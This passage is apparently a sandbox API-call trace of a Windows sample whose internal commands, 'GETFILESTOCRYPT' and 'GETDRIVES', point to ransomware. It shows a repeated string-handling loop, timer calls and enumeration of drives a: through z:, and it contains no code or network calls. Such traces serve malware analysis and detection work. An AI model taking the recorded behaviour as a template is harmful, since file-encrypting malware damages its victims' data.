lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.004] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.004] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.005] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.005] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.005] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.005] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.005] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.005] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.005] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.005] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.005] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.006] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.006] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.006] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.018] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.018] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.018] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.018] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.018] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.018] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.018] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.018] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.018] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.019] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.019] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.019] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.019] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.019] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.019] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.019] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.019] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.019] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.019] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.020] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.020] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.020] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.020] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.020] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.021] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.021] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.021] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.021] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.021] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.021] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.021] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.034] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.034] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.034] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.034] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.034] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.034] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.034] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.034] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.034] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.034] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.035] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.035] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.035] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.035] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.035] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.035] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.035] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.035] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.035] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.036] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.036] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.036] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.036] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.036] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.036] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.036] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.037] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.037] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.037] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.037] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.037] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.038] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.038] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.038] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.038] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.038] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.038] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.038] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.039] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.039] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.039] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.039] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.039] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.039] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.039] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.039] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.039] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.039] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.039] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.039] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.039] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.040] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.040] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.040] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.040] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.040] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.040] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.040] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.040] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.040] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.040] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.040] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.049] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.049] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.049] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.049] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.050] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.050] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.050] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.050] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.050] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.050] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.050] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.050] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.050] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.050] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.050] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.050] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.050] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.051] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.051] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.051] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.051] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.051] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.051] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.051] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.051] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.051] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.051] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.051] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.051] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.052] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.052] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.052] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.052] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.052] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.052] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.052] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.052] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.052] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.052] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.053] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.053] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.053] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.053] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.053] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.054] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.054] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.634] TranslateMessage (lpMsg=0x130f204) returned 0 [0086.634] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0086.634] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0086.641] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0086.641] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0086.641] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.641] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.641] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.641] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.641] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.641] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.642] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.642] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.642] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.642] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.642] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.642] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.642] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.642] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.642] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.642] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.642] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.642] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.643] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.643] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.643] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.644] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.644] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.644] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.645] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.646] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.646] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.648] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.648] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.648] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.648] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.648] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.649] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.649] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.649] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.649] PeekMessageW (in: lpMsg=0x130f204, 